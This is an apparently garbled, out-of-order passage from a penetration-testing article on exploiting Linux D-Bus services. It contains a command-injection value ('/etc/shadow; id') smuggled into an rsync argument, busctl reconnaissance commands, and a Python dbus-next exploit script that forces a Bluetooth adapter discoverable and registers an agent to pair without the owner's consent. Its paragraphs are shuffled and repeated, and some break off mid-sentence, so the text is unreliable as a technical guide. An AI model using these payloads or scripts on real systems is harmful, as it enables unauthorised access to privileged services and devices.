To see who can talk to a service, inspect its policy:
If the service does: sprintf(command, "rsync -av %s %s:/backup/", source_path, dest_host) An attacker sends: source_path = "/etc/shadow; id" (type STRING ) and dest_host = "localhost" .
busctl monitor --match "type='method_call',interface='org.freedesktop.DBus.Properties'" This captures any process trying to read properties of other services—a passive way to discover sensitive information flows. Let’s move from theory to actionable exploits. These are not CVEs but classes of vulnerability enabled by misconfiguration or legacy dbus-1.0 assumptions. Vector 1: The No-Authentication Backdoor (Legacy Services) Many early dbus-1.0 services assumed that being on the system bus implied trust. A classic example is com.ubuntu.SoftwareProperties . In older versions (pre-2020), it allowed any local user to enable or disable repositories, effectively granting the ability to install malicious packages after a social engineering reboot. dbus-1.0 exploit
<policy user="nobody"> <allow own="com.vulnerable.Service"/> <allow send_destination="com.vulnerable.Service"/> </policy> If the policy is too permissive (e.g., allow user="*" ), any unprivileged local user can interact with a root-owned service. Before writing exploits, you need reconnaissance. The standard tool is busctl (from systemd) or the older gdbus . Silent Reconnaissance As an unprivileged user, you can list all services on the system bus without any authentication:
We will use the dbus-next library for modern asyncio support. To see who can talk to a service,
# Craft a method call to a method that normally requires admin # but is mis-policy'd: "SetProperty" on the adapter to force discoverable msg = Message( destination='org.bluez', path='/org/bluez/hci0', interface='org.freedesktop.DBus.Properties', member='Set', signature='ssv', body=['org.bluez.Adapter1', 'Discoverable', Variant('b', True)] )
Yet, for all its ubiquity, D-Bus is a blind spot for many penetration testers and red teams. We scan for open SMB ports, we hunt for SUID binaries, but we rarely ask: Can we talk to the system bus? These are not CVEs but classes of vulnerability
busctl --system tree org.bluez We find /org/bluez/hci0/dev_XX_XX_XX_XX_XX_XX – a connected device.
Introduction In the sprawling ecosystem of the Linux desktop and embedded systems, D-Bus is the circulatory system. It’s the inter-process communication (IPC) broker that allows your file manager to talk to your password manager, your media keys to control the player, and systemd to launch services on demand. Since its introduction with the dbus-1.0 protocol, it has become a universal constant on everything from GNOME to Automotive Grade Linux.
if reply.message_type == MessageType.ERROR: print(f"Standard property set failed: {reply.body[0]}") # Fallback to a known legacy method legacy_msg = Message( destination='org.bluez', path='/org/bluez/hci0', interface='org.bluez.AgentManager1', member='RegisterAgent', signature='os', body=['/org/bluez/hci0/my_agent', 'NoInputNoOutput'] ) await bus.call(legacy_msg) print("Registered legacy agent, now able to pair without consent.") asyncio.run(bluetooth_exploit())